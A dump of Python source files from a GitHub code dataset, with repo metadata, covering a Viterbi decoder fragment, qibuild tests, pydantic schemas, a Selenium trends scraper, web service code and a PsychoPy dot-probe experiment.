viterbi_backward(best_probs, best_paths, corpus, states):\n m = best_paths.shape[1] \n z = [None] * m\n pred = [None] * m\n \n best_prob_for_last_word = float('-inf')\n num_tags = best_probs.shape[0]\n \n for k in range(num_tags):\n if best_probs[k, m - 1] > best_prob_for_last_word:\n best_prob_for_last_word = best_probs[k, m - 1]\n z[m - 1] = k\n \n pred[m - 1] = states[z[m - 1]]\n for i in range(m - 1, -1, -1):\n z[i - 1] = best_paths[z[i], i]\n pred[i - 1] = states[z[i - 1]]\n return pred","repo_name":"XuanTruong2408/CS221.N11","sub_path":"code/HMM/Viterbi.py","file_name":"Viterbi.py","file_ext":"py","file_size_in_byte":2123,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"23117088233","text":"from __future__ import absolute_import\nfrom __future__ import unicode_literals\nfrom __future__ import print_function\n\nimport os\nimport sys\nimport platform\nimport xml.etree.ElementTree as etree\nimport six\n\nimport qisys.worktree\nimport qibuild.worktree\nfrom qitest.test.conftest import qitest_action\n\nTARGET = \"{}-{}\".format(platform.system().lower(),\n platform.processor().lower())\n\n\ndef test_various_outcomes(qibuild_action, record_messages):\n \"\"\" Test Various Outcomes \"\"\"\n qibuild_action.add_test_project(\"testme\")\n qibuild_action(\"configure\", \"testme\")\n qibuild_action(\"make\", \"testme\")\n qibuild_action(\"test\", \"testme\", \"-k\", \"ok\")\n assert record_messages.find(\"All pass\")\n record_messages.reset()\n rc = qibuild_action(\"test\", \"testme\", \"-k\", \"fail\", retcode=True)\n assert record_messages.find(\"Return code: 1\")\n assert rc == 1\n record_messages.reset()\n rc = qibuild_action(\"test\", \"testme\", \"-k\", \"segfault\", retcode=True)\n if os.name == 'nt':\n assert record_messages.find(\"0xC0000005\")\n else:\n assert record_messages.find(\"Segmentation fault\")\n assert rc == 1\n record_messages.reset()\n rc = qibuild_action(\"test\", \"testme\", \"-k\", \"timeout\", retcode=True)\n assert record_messages.find(\"Timed out\")\n assert rc == 1\n rc = qibuild_action(\"test\", \"testme\", \"-k\", \"spam\", retcode=True)\n result_dir = get_result_dir()\n assert \"spam.xml\" in os.listdir(result_dir)\n result = os.path.join(result_dir, \"spam.xml\")\n with open(result, \"r\") as f:\n assert len(f.read()) < 18000\n if qisys.command.find_program(\"valgrind\"):\n # Test one file descriptor leak with --valgrind\n record_messages.reset()\n rc = qibuild_action(\"test\", \"testme\", \"-k\", \"fdleak\", \"--valgrind\", retcode=True)\n assert record_messages.find(\"file descriptor leaks: 1\")\n assert rc == 1\n # Test for false positives with --valgrind\n record_messages.reset()\n rc = qibuild_action(\"test\", \"testme\", \"-k\", \"ok\", \"--valgrind\", retcode=True)\n assert not record_messages.find(\"file descriptor leaks\")\n assert rc == 0\n rc = qibuild_action(\"test\", \"testme\", \"-k\", \"encoding\", retcode=True)\n result_dir = get_result_dir()\n assert \"encoding.xml\" in os.listdir(result_dir)\n result = os.path.join(result_dir, \"encoding.xml\")\n with open(result, \"r\") as f:\n content = f.read()\n # Parsing XML shouldn't raise\n etree.parse(result)\n # Decode shouldn't raise\n if sys.platform.startswith(\"win\"):\n assert \"flag\" in content.decode(\"ascii\")\n else:\n if six.PY3:\n assert \"flag\" in content\n else:\n assert \"flag\" in content.decode(\"utf-8\")\n\n\ndef get_result_dir():\n \"\"\" Get Result Dir \"\"\"\n worktree = qisys.worktree.WorkTree(os.getcwd())\n build_worktree = qibuild.worktree.BuildWorkTree(worktree)\n testme = build_worktree.get_build_project(\"testme\")\n result_dir = os.path.join(testme.sdk_directory, \"test-results\")\n return result_dir\n\n\ndef test_do_not_overwrite_xml_when_test_fails(qibuild_action):\n \"\"\" Test Do Not Overwrite XML When Test Fails \"\"\"\n qibuild_action.add_test_project(\"testme\")\n qibuild_action(\"configure\", \"testme\")\n qibuild_action(\"make\", \"testme\")\n qibuild_action(\"test\", \"testme\", \"-k\", \"fake_gtest\", retcode=True)\n testme_proj = qibuild_action.build_worktree.get_build_project(\"testme\")\n fake_xml = os.path.join(testme_proj.sdk_directory, \"test-results\", \"fake_gtest.xml\")\n with open(fake_xml, \"r\") as fp:\n contents = fp.read()\n assert contents == \"FAKE_RESULTS\\n\"\n\n\ndef test_setting_output_dir_with_project(qitest_action, qibuild_action, tmpdir):\n \"\"\" Test Setting Output Dir With Project \"\"\"\n test_out = tmpdir.join(\"test-out\", \"testme\")\n qibuild_action.add_test_project(\"testme\")\n qibuild_action(\"configure\", \"testme\")\n qibuild_action(\"make\", \"testme\")\n qitest_action(\"run\", \"testme\", \"-k\", \"ok\", \"--root-output-dir\", test_out.strpath)\n ok_xml = test_out.join(\"testme\", \"test-results\", \"ok.xml\")\n assert ok_xml.check(file=True)\n _retcode = qitest_action(\n \"run\", \"testme\", \"-k\", \"fail\",\n \"--root-output-dir\", test_out.strpath, retcode=True\n )\n assert not ok_xml.check(file=True)\n\n\ndef test_setting_output_dir_without_project(qitest_action, qibuild_action, tmpdir):\n \"\"\" Test Setting Output Dir Without Project \"\"\"\n dest = tmpdir.join(\"dest\")\n qibuild_action.add_test_project(\"testme\")\n qibuild_action(\"configure\", \"testme\")\n qibuild_action(\"make\", \"testme\")\n qibuild_action(\"install\", \"--with-tests\", \"testme\", dest.strpath)\n qitest_json = dest.join(\"qitest.json\")\n out = tmpdir.join(\"out\")\n qitest_action(\"run\",\n \"-k\", \"ok\",\n \"--qitest-json\", qitest_json.strpath,\n \"--root-output-dir\", out.strpath)\n assert out.join(\"test-results\", \"ok.xml\").check(file=True)\n\n\ndef test_setting_build_prefix(qitest_action, qibuild_action, tmpdir):\n \"\"\" Test Setting Build Prefix \"\"\"\n prefix = tmpdir.join(\"prefix\")\n qibuild_action.add_test_project(\"testme\")\n qibuild_action(\"configure\", \"testme\", \"--build-prefix\", prefix.strpath)\n qibuild_action(\"make\", \"testme\", \"--build-prefix\", prefix.strpath)\n qitest_action(\"run\", \"testme\", \"-k\", \"ok\", \"--build-prefix\", prefix.strpath)\n test_results = prefix.join(\"build-sys-%s\" % (TARGET), \"testme\", \"sdk\", \"test-results\")\n assert test_results.join(\"ok.xml\").check(file=True)\n","repo_name":"aldebaran/qibuild","sub_path":"python/qibuild/test/test_qibuild_test.py","file_name":"test_qibuild_test.py","file_ext":"py","file_size_in_byte":5540,"program_lang":"python","lang":"en","doc_type":"code","stars":65,"dataset":"github-code","pt":"0"}
+{"seq_id":"35629109366","text":"#!/usr/bin/env python\n\nimport subprocess,re\n\ndef is_terminal_command(name):\n\t\"\"\"\n\tCheck returncode on which.\n\t\"\"\"\n\tcheck_which = subprocess.Popen('which %s'%name,shell=True,executable='/bin/bash',\n\t\tstdout=subprocess.PIPE,stderr=subprocess.PIPE)\n\tcheck_which.communicate()\n\treturn check_which.returncode\n\ndef version_number_compare(v1,v2):\n\t# via https://stackoverflow.com/questions/1714027\n def normalize(v):\n return [int(x) for x in re.sub(r'(\\.0+)*$','', v).split(\".\")]\n # cmp is gone in python 3\n cmp = lambda a,b: (a > b) - (a < b)\n return cmp(normalize(v1),normalize(v2))\n\ndef requires_program(*reqs):\n\tdef decorator(function):\n\t\tdef wrapper(*args,**kwargs):\n\t\t\tfor req in reqs:\n\t\t\t\treturn_value = is_terminal_command(req)\n\t\t\t\tif return_value!=0: \n\t\t\t\t\traise Exception(('function %s requested a terminal command but we '\n\t\t\t\t\t\t'cannot find %s at the terminal (via `which %s`). '\n\t\t\t\t\t\t'are you sure you are in the right environment?')%(function,req,req))\n\t\t\tresult = function(*args,**kwargs)\n\t\t\treturn result\n\t\treturn wrapper\n\treturn decorator\n\ndef _requires_python_check(req,msg):\n\tregex_version = '^(.*?)(=|>=|>)(.*?)$'\n\top,version = None,0\n\tif re.match(regex_version,req):\n\t\treq,op,version = re.match(regex_version,req).groups()\n\ttry: \n\t\tmod = __import__(req)\n\texcept Exception as e: raise Exception(msg%(req,''))\n\tif op:\n\t\tversion_this = mod.__version__\n\t\tif (\n\t\t\t(op=='=' and not version_number_compare(version_this,version)==0) or\n\t\t\t(op=='>' and not version_number_compare(version_this,version)>0) or\n\t\t\t(op=='>=' and not version_number_compare(version_this,version)>=0)\n\t\t\t):\n\t\t\traise Exception(msg%(req,\n\t\t\t\t' (requested version %s%s but found %s)'%(\n\t\t\t\t\top,version,version_this)))\n\ndef requires_python_check(*reqs):\n\tmsg = ('we expect python module \"%s\"%s. '\n\t\t'you may need to point to an environment by running: '\n\t\t'make set activate_env=\"~/path/to/bin/activate env_name\"')\n\tfor req in reqs: _requires_python_check(req,msg)\n\ndef requires_python(*reqs):\n\tdef decorator(function):\n\t\tmsg = ('function \"%s\"'%function.__name__+' expects python module \"%s\"%s. '\n\t\t\t'you may need to point to an environment by running: '\n\t\t\t'make set activate_env=\"~/path/to/bin/activate env_name\"')\n\t\tdef wrapper(*args,**kwargs):\n\t\t\tfor req in reqs: _requires_python_check(req,msg)\n\t\t\tresult = function(*args,**kwargs)\n\t\t\treturn result\n\t\treturn wrapper\n\treturn decorator\n","repo_name":"bradleyrp/skunkworks","sub_path":"ortho/requires.py","file_name":"requires.py","file_ext":"py","file_size_in_byte":2387,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"7267503245","text":"from typing import Optional\nfrom datetime import datetime\nfrom pydantic import BaseModel\n\nclass UserCreate(BaseModel):\n email: str\n password: str\n username: str\n\nclass UserOut(BaseModel):\n user_id: int\n email: str\n username: str\n current_day_number: int = 1\n created_at: datetime\n\n class Config:\n orm_mode = True\n\nclass UserUpdate(BaseModel):\n email: Optional[str] = None\n username: Optional[str] = None\n current_day_number: Optional[int] = None\n\n class Config:\n orm_mode = True\n\nclass UserLogin(BaseModel):\n email: str\n password: str\n\nclass CardBase(BaseModel):\n subject: Optional[str] = None\n question: str\n answer: str\n level: int = 1\n is_active: bool = True\n\nclass CardOut(CardBase):\n card_id: int\n creator_id: int\n \n\n class Config:\n orm_mode = True\n\nclass Token(BaseModel):\n access_token: str\n token_type: str\n\nclass TokenData(BaseModel):\n user_id: Optional[str] = None\n\nclass TestCard(BaseModel):\n card_id: int\n question: str \n","repo_name":"rmcguire6/leitner-box-v-2","sub_path":"app/schemas.py","file_name":"schemas.py","file_ext":"py","file_size_in_byte":1040,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"8486562725","text":"from selenium import webdriver\n\nimport pandas as pd\nfrom selenium.webdriver.common.keys import Keys\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nimport csv\nfrom webdriver_manager.chrome import ChromeDriverManager\nimport os\nfrom selenium.webdriver.chrome.options import Options\nchrome_optionsme = Options()\nchrome_optionsme.add_argument(\"--incognito\")\nchrome_optionsme.add_argument(\"--window-size=1920x1080\")\nimport datetime\n\n\n#chrome_driver = webdriver.Chrome(\"chromedriver.exe\")\ndriver = webdriver.Chrome(ChromeDriverManager().install(), options=chrome_optionsme)\ndriver.get(\"https://twitter-trends.iamrohit.in/\")\n\n\nmain = WebDriverWait(driver, 10).until(EC.presence_of_element_located((By.CLASS_NAME, \"panel-body\")))\n\nmain = (main.text)\nranking_list = []\ntrending_list = []\nvolume_list = []\ntext_raw = main.split('\\n')\n\nfor line in text_raw[2:-2]:\n ranking = line.split('. ')[0]\n tweet_raw = line.split('. ')[1]\n volume = tweet_raw.split(\" \")[-2]\n trending = tweet_raw.split(volume)[0]\n ranking_list.append(ranking)\n trending_list.append(trending)\n volume_list.append(volume)\ntoday = datetime.date.today()\ndate = f'{today:%Y-%m-%d}'\ncsv_name = f'twitter_metrics_{date}.csv'\nprint('Writing data in: ', csv_name)\ndf = pd.DataFrame({\"Ranking\": ranking_list, \"Trending\": trending_list, \"Volume\": volume_list})\ndf.to_csv(csv_name, encoding='utf-8', index=False)\n\n\n# driver.quit()\n\ndriver.quit()","repo_name":"Enrique1987/web-scrapy","sub_path":"02_Selenium/2_01_Selenium_Pandas_TwitterMetrics.py","file_name":"2_01_Selenium_Pandas_TwitterMetrics.py","file_ext":"py","file_size_in_byte":1535,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"70215088037","text":"from customers.models import Customer\nfrom robots.models import Robot\nfrom .models import Order\n\n\nclass OrderService:\n __order_model = Order\n __customer_model = Customer\n __robot_model = Robot\n\n @classmethod\n def make_order(cls, form_cleaned_data):\n customer = cls.__customer_model.objects.get_or_create(\n email=form_cleaned_data.get(\"email\")\n )\n robot_serial = (\n f\"{form_cleaned_data.get('model')}-{form_cleaned_data.get('version')}\"\n )\n cls.__order_model.objects.create(\n customer=customer[0], robot_serial=robot_serial\n )\n robot = cls.__robot_model.objects.filter(serial=robot_serial)\n if robot.exists():\n data = f\"Ваш заказ {robot.first().serial} в наличий!\"\n else:\n data = \"Как только робот будет в наличий мы вам напишем на почту!\"\n return data\n","repo_name":"ElnuraDubanaeva/R4C-project","sub_path":"orders/services.py","file_name":"services.py","file_ext":"py","file_size_in_byte":954,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"26335543943","text":"import streamlit as st\n# import tensorflow as tf\nfrom tensorflow.keras.preprocessing import image\nfrom tensorflow.keras.applications.vgg16 import preprocess_input\nfrom PIL import Image\nimport numpy as np\nimport json\nimport requests\nfrom config import MODEL_NAME, TARGET_SIZE, PORT\nimport glob\nfrom pages.multi_pages import _get_state, page_image_classifier, page_tensorflow_serving\n\n\n# print(tf.__version__)\n\ndef main():\n \"\"\"Main function of the App\"\"\"\n st.set_page_config(page_title=\"TensorFlow Serving Manager\", layout=\"wide\")\n state = _get_state()\n pages = {\n \"Image Classifier\": page_image_classifier,\n \"TensorFlow Serving\": page_tensorflow_serving,\n }\n\n st.sidebar.title(\":floppy_disk: Page states\")\n page = st.sidebar.radio(\"Select your page\", tuple(pages.keys()))\n\n # Display the selected page with the session state\n pages[page](state)\n\n # Mandatory to avoid rollbacks with widgets, must be called at the end of your app\n state.sync()\n\n@st.cache\ndef warm_up_model(ver):\n # load all images in a directory\n sample_images = []\n for filename in glob.glob('images/*.jpg'):\n img = Image.open(filename)\n sample_images.append(img)\n\n for img in sample_images:\n # You should make the size to the expected size\n resized_image = img.resize(TARGET_SIZE)\n array_image = image.img_to_array(resized_image)\n # 4D (batch_size, width, height, channels)\n input_image = np.expand_dims(array_image, axis=0)\n input_image = preprocess_input(input_image)\n\n data = json.dumps({\"signature_name\": \"serving_default\", \"instances\": input_image.tolist()})\n headers = {\"content-type\": \"application/json\"}\n json_response = requests.post(f'http://localhost:{PORT}/v1/models/{MODEL_NAME}/versions/{ver}:predict',\n data=data,\n headers=headers)\n\n predictions = json.loads(json_response.text)['predictions']\n\n print(\"warm-up completed\")\n\nif __name__ == '__main__':\n main()","repo_name":"taeokimeng/tf-serving","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2064,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"72505822436","text":"from .base_views import *\nfrom ..schemas.route_schemas import *\n\nPREFIX = '/nesi/v1'\n\n\n@app.route(PREFIX + '/boxen//routes', methods=['GET'])\ndef show_routes(box_id):\n if flask.request.args is None:\n req = {}\n else:\n req = flask.request.args\n\n response = show_components(RoutesSchema(), Route, req, box_id)\n return response, 200\n\n\n@app.route(PREFIX + '/boxen//routes/', methods=['GET'])\ndef show_route(box_id, id):\n response = show_component(Route, box_id, id)\n return response, 200\n\n\n@app.route(PREFIX + '/boxen//routes', methods=['POST'])\ndef new_route(box_id):\n req = flask.request.json\n response = new_component(RouteSchema(), Route, req, box_id)\n return response, 201\n\n\n@app.route(PREFIX + '/boxen//routes/', methods=['DELETE'])\ndef del_route(box_id, id):\n del_component(Route, box_id, id)\n return flask.Response(status=204)\n","repo_name":"inexio/NESi","sub_path":"nesi/devices/softbox/api/views/route_views.py","file_name":"route_views.py","file_ext":"py","file_size_in_byte":917,"program_lang":"python","lang":"en","doc_type":"code","stars":30,"dataset":"github-code","pt":"0"}
+{"seq_id":"24727327535","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\nfrom __future__ import unicode_literals, print_function\nfrom psychopy import visual, event, core, sound, monitors, gui\nfrom random import choice, shuffle\n\nimport sys\nreload(sys)\nsys.setdefaultencoding('utf8')\n\n\ndef draw_and_wait(stim, time=.9):\n \"Draw one stimulus, flip, wait.\"\n stim.draw()\n win.flip()\n core.wait(.9)\n \ndef draw_and_wait_cues(stim_cue, stim_cond, duration):\n \"Draw one stimulus, flip, wait.\"\n stim_cue.draw()\n stim_cond.draw()\n win.flip()\n core.wait(duration)\n\n\n# Define functions for functionality that will be repeatedly accessed later\ndef display_text(text):\n \"Display text and wait for a keypress.\"\n stim = visual.TextStim(win, text= text, color=(0, 0, 0)) # construct the stimulus\n stim.draw() # draw it\n win.flip() # put it on the screen\n event.waitKeys() # wait until a key press\n win.flip() # clear the screen\n core.wait(.5) # the wait period is in seconds (i.e., 500 msec)\n \ndef display_text_and_image(text, image, duration):\n \"Display text and wait for a keypress.\"\n text_ = visual.TextStim(win, text= text,pos=(0.0, -250), color=\"red\") # construct the stimulus\n text_.draw() # draw it\n stim = visual.ImageStim(win, image) # construct the stimulus\n stim.draw() \n win.flip() # clear the screen\n core.wait(duration) # the wait period is in seconds (i.e., 500 msec)\n\ndef one_trial(cue_cond,cue_cond_pos, cue_neutral, cue_neutral_pos, target_pos, target_side, cue_duration):\n \"Run one single trial, return RT and if the correct answer was given.\"\n correct_response = \"x\" if target_side == \"left\" else \"m\" # Für target pos noch definieren, dass wenn target_pos = -500 target side = left\n fixation_directions = (\"left\", \"right\")\n\n # Fixation sign\n if (block % 2):\n fixation_dir = choice(fixation_directions)\n if (fixation_dir == \"left\"):\n fname = 'fingerloch_left.png' # the files are expected to exist in the same directory as this script\n else:\n fname = 'fingerloch_right.png' # the files are expected to exist in the same directory as this script\n stim = visual.ImageStim(win, fname) # create the image stimulus\n fixation = \"hole\"\n\n else:\n stim = visual.TextStim(win, text= \"+\", height = 60, color=(0, 0, 0))\n fixation = \"cross\"\n fixation_dir = None\n \n draw_and_wait(stim)\n\n stim_cond = visual.TextStim(win, text= cue_cond,pos=(cue_cond_pos, 0),height = 45, color=(0, 0, 0))# eine funktion schreiben, die zwei cues auf einmal zeigt\n stim_neutral = visual.TextStim(win, text= cue_neutral,pos=(cue_neutral_pos, 0), height = 45, color=(0, 0, 0))\n draw_and_wait_cues(stim_neutral, stim_cond, cue_duration)\n\n \n target = visual.TextStim(win, text= \"O\", pos=(target_pos, 0), height = 45, color=(0, 0, 0))\n target.draw()\n win.flip()\n \n # Collect response\n clock.reset() # response time will be in reference to this time point\n try:\n key, time = event.waitKeys(keyList=['x', 'm', 'q'], maxWait=2, timeStamped=clock)[0]\n except TypeError:\n key, time = \"miss\", -999 # for misses\n if key == \"q\":\n win.close()\n core.quit()\n # Was the response correct?\n correct = key == correct_response # i.e., does it equal the correct_response key?\n #if not correct:\n #error.play()\n return time, correct, key, fixation, fixation_dir\n\n\ndef one_block(n, n_trials=25, training=False):\n \"Picking random factor settings, run n_trials trials, then display a message.\"\n cue_positions = (200,-200) # set the possible options for each trial\n neutral_cues = list_neutral_cues\n cue_conditions = (\"positive\", \"negative\")\n target_positions = (200, -200)\n cue_durations = (.04, 1)\n for trial in range(n_trials): # the loop will be run n_trials times\n if list_negative_cues and list_positive_cues:\n cue_condition = choice(cue_conditions) # damit Experiment nicht abgebrochen wird, weil eine der Listen schon leer\n elif not list_negative_cues:\n cue_condition = \"positive\" \n elif not list_positive_cues:\n cue_condition = \"negative\"\n \n cue_cond = list_positive_cues.pop() if cue_condition == \"positive\" else list_negative_cues.pop()\n cue_cond_pos = choice(cue_positions) # select factor settings\n cue_cond_side = \"right\" if cue_cond_pos == 200 else \"right\"\n cue_neutral = list_neutral_cues.pop()\n cue_neutral_pos = -cue_cond_pos\n cue_neutral_side = \"right\" if cue_cond_pos == -200 else \"left\"\n target_pos = choice(target_positions)\n target_side = \"right\" if target_pos == 200 else \"left\" \n cue_duration = choice(cue_durations)\n time, correct, key, fixation, fixation_dir = one_trial(cue_cond, cue_cond_pos, cue_neutral,cue_neutral_pos, target_pos, target_side, cue_duration) # run one trial with the randomly drawn parameters\n if not training: # write the result to the file\n with open(logfile, \"a\") as f: # the 'a' means we append to the file - with a 'w', it would be overwritten!\n print(subj_id, age, sex, house, nutella, movie, temp, block, trial, cue_cond, cue_condition, cue_cond_pos, cue_cond_side, cue_neutral,cue_neutral_pos, cue_neutral_side, target_pos, target_side, cue_duration, fixation, fixation_dir, str(key), str(correct), str(time),\n sep=\",\", file=f) # this \"sep\" separates the columns by a comma\n text = (\"This was \" + (\"training \" if training else \" \") +\n \"block \" + str(n + 1) + \". Any key to continue.\")\n display_text(text)\n\n# gui for subject information like code or age\n\nsubj_info = gui.Dlg(title=\"**Dot-probe**\")\nsubj_info.addText('Probandendaten')\nsubj_info.addField('Kürzel')\nsubj_info.addField('Alter:')\nsubj_info.addField('Geschlecht:', choices=[\"weiblich\", \"männlich\"])\nsubj_info.addField('Welchem Haus Hogwarts ordnest du dich selbst zu?:', choices=[\"Hufflepuff\", \"Slytherin\", \"Ravenclaw\", \"Gryffindor\"])\nsubj_info.addField('DIE Nutella oder DAS Nutella ?', choices=[\"die\", \"das\"])\nsubj_info.addField('Der Pate oder Pulp Fiction ?', choices=[\"Der Pate\", \"Pulp Fiction\"])\nsubj_info.addField('Präferierte Duschtemperatur (Grad Celsius):')\n\nok_data = subj_info.show() # show dialog and wait for OK or Cancel\n\n\ncomplete = len(subj_info.data) == len([True for x in subj_info.data if len(x) != 0]) #true, wenn Maske vollständig ausgefüllt\n\npictures = ['pulp_fiction.jpeg', 'pulp_fiction_2.jfif', 'pulp_fiction_car.jpeg','pulp_fiction_single.jpeg']\ntexts = [\"Letzter Versuch...\", \"Auf jetzt...\", \"Und noch einmal...\", \"Versuchs nochmal...\"]\n\nif subj_info.OK and complete: # or if ok_data is not None\n print(ok_data)\nelif subj_info.OK and not complete: # wenn nicht vollständig ausgefüllt, wird schleife eingeleitet, in der Pbn immer wieder aufgefordert wird, alles auszufüllen\n subj_info.addText('Bitte alles ausfüllen!', color = \"red\")\n counter = 0\n while subj_info.OK and not complete:\n m = monitors.Monitor(\"default\", width=28.8, distance=200)\n m.setSizePix([800, 600])\n win = visual.Window(\n allowGUI=False, monitor=m,\n bitsMode=None,\n winType='pyglet', rgb=1,\n fullscr=False,\n screen=1, units=\"pix\"\n ) \n fname = choice(pictures) # the files are expected to exist in the same directory as this script\n text = texts.pop()\n display_text_and_image(text,fname,.8)\n win.close()\n ok_data = subj_info.show() # show dialog and wait for OK or Cancel\n complete = len(subj_info.data) == len([True for x in subj_info.data if len(x) != 0])\n counter += 1\n print(ok_data)\n if not subj_info.OK or counter >= 4:\n core.quit()\n \nelse:\n print('Experiment abgebrochen')\n core.quit()\n\nsubj_id = subj_info.data[0]\nage = subj_info.data[1]\nsex = subj_info.data[2]\nhouse = subj_info.data[3]\nnutella = subj_info.data[4]\nmovie = subj_info.data[5]\ntemp = subj_info.data[6]\n\n\n# With Psychopy, we have to manually create a monitor\nm = monitors.Monitor(\"default\", width=28.8, distance=200)\nm.setSizePix([800, 600])\n\nwin = visual.Window(\n allowGUI=False, monitor=m,\n bitsMode=None,\n winType='pyglet', rgb=1,\n fullscr=True,\n screen=1, units=\"pix\"\n )\n\nclock = core.Clock()\n\n# We write to a comma-separated log file - as the name, we chose the current date.\n# For now, we just write the header column to the file.\nlogfile = str(subj_id) + \".csv\" # the 'str' converts the numeric time into a string\nwith open(logfile, \"w\") as f: # note the 'w': it means a new file will be created\n print(\"subject,age,sex,house,nutella,movie,temperature,block,trial,cue_cond,cue_valence,cue_cond_pos,cue_cond_side,cue_neutral,cue_neutral_pos,cue_neutral_side,target_pos,target_side,duration,fixation,fixation_direction,response,correct,rt\", file=f)\n# eichtig, dass keine Leerzeichen zwischen spaltennamen, da sonst teil des namens\n\nn_experiment_blocks = 4\nn_training_blocks = 0\n\n\nlist_neutral_cues = [\"Anruf\", \"Anzug\", \"Apfel\", \"August\", \"April\", \"Ausweis\", \"Bahnhof\", \"Balkon\", \"Baum\", \"Berg\", \"Bildschirm\", \"Bus\", \"Computer\", \"Dezember\", \"Dienstag\", \"Drucker\", \n\"Eintrittskarte\", \"Einwohner\", \"Fahrschein\", \"Februar\", \"Fernseher\", \"Finger\", \"Flughafen\", \"Flur\", \"Füller\", \"Fuß\", \"Fußboden\", \"Garten\", \"Gast\", \"Geburtstag\",\n\"Hafen\", \"Herr\", \"Hut\", \"Januar\", \"Juli\", \"Juni\", \"Kaffee\", \"Kakao\", \"Keller\", \"Kellner\", \"Kleiderhaken\", \"Koch\", \"Kugelschrieber\", \"Kunde\", \"Laden\", \"Locher\", \n\"Löffel\", \"Mai\", \"März\", \"Markt\", \"Marktplatz\", \"Monitor\", \"Name\", \"November\", \"Oktober\", \"Park\", \"Pass\", \"Passant\", \"Platz\", \"Projektor\", \"Pullover\", \n\"RadiergummI\", \"Rock\", \"Schinken\", \"Schlüssel\", \"Schrank\", \"Septmeber\", \"Sessel\", \"Strumpf\", \"Stuhl\", \"Supermarkt\", \"Tag\", \"Tee\", \"Teppich\", \"Tisch\", \"Wagen\", \n\"Wind\", \"Zeiger\", \"Zucker\", \"Zug\", \"Zuschauer\", \"Adresse\", \"Apfelsine\", \"Apotheke\", \"Bank\", \"Bankkarte\", \"Bedienung\", \"Beschreibung\", \"Bestellung\", \n\"Bibliothek\", \"Bluse\", \"Brille\", \"Brücke\", \"Cola\", \"Decke\", \"Diskette\", \"Dolmetscherin\", \"Dose\", \"Dusche\", \"Eile\"]\n\nlist_positive_cues = [\"Attraktivität\", \"Anerkennung\", \"Belohnung\", \"Bereicherung\", \"Bewunderung\", \"Beliebtheit\", \"Dankbarkeit\", \"Ehrlichkeit\", \"Eleganz\", \"Entspannung\", \"Erfolg\", \n\"Frieden\", \"Freundschaft\", \"Frohsinn\", \"Freiheit\", \"Genuss\", \"Gerechtigkeit\", \"Gesundheit\", \"Glück\", \"Geschenk\", \"Harmonie\", \"Herzlichkeit\", \"Höflichkeit\", \"Hilfsbereitschaft\", \n\"Kraft\", \"Kostbarkeit\", \"Lachen\", \"Lebensfreude\", \"Liebe\", \"Leidenschaft\", \"Mut\", \"Optimismus\", \"Reichtum\", \"Rücksichtnahme\", \"Schönheit\", \"Schatz\", \"Sicherheit\", \"Solidarität\", \n\"Spaß\", \"Stärke\", \"Sympathie\", \"Treue\", \"Tapferkeit\", \"Unterstützung\", \"Vergnügen\", \"Verehrung\", \"Wohlstand\", \"Wohlbefinden\", \"Zufriedenheit\", \"Zuverlässigkeit\"] #Umlaute v.a. ä machen manchmal Probleme\n\nlist_negative_cues = [\"Mord\", \"Totschlag\", \"Schmerz\", \"Leid\", \"Waffe\", \"Tod\", \"Wunde\", \"Trauer\", \"Trennung\", \"Heimweh\", \"Gefängnis\", \"Einsamkeit\", \"Regen\", \"Depression\", \"Krankheit\", \n\"Angst\", \"Verletzung\", \"Hass\", \"Wut\", \"Panik\", \"Rache\", \"Gestank\", \"Folter\", \"Krieg\", \"Bombe\", \"Droge\", \"Sucht\", \"Verzweiflung\", \"Unfall\", \"Qual\", \"Neid\", \"Ekel\", \"Terror\", \"Unglück\", \n\"Anschlag\", \"Koma\", \"Hässlichkeit\", \"Dummheit\", \"Sturz\", \"Schleim\", \"Übelkeit\", \"Schock\", \"Schrei\", \"Armut\", \"Pessimismus\", \"Schrott\", \"Geisel\", \"Müll\", \"Feind\", \"Horror\"]\n\nshuffle(list_neutral_cues)\nshuffle(list_positive_cues)\nshuffle(list_negative_cues)\n\n\n\n# Show the instruction screen\ntext = (\"\"\"\nPress \"x\" if the O appears on the left and \"m\" if it appears on the right.\nEach dot is preceded by a fixation sign and two words.\nWe begin with 2 training blocks.\n\nAny key to continue. Press \"q\" instead of \"x\"/\"m\" to quit.\n\"\"\")\ndisplay_text(text)\n\n# Run the training\nfor block in range(n_training_blocks): # ? = anzahl der triningsblöcke /zahl eintragen\n one_block(block, training=True) # ? = anzahl der trials pro block /zahl eintragen\n\ntext = (\"\"\"\nTraining finished. The actual experiment begins.\nAny key to continue.\n\"\"\")\ndisplay_text(text)\n\n# Run the actual experiment\nfor block in range(n_experiment_blocks): # anzahl der blöcke /zahl\n one_block(block) # anzahl der trials pro block /zahl\n\n# Finish\ntext = \"\"\"Experiment finished. Thank you!\"\"\"\nfname = \"der_pate.jpg\"\ndisplay_text_and_image(text, fname, 2)\n\nwin.close()\ncore.quit()","repo_name":"jona-sassenhagen/python_for_psychologists","sub_path":"ExampleExperiments/hog3/experiment/dot_probe_new.py","file_name":"dot_probe_new.py","file_ext":"py","file_size_in_byte":12677,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"0"}
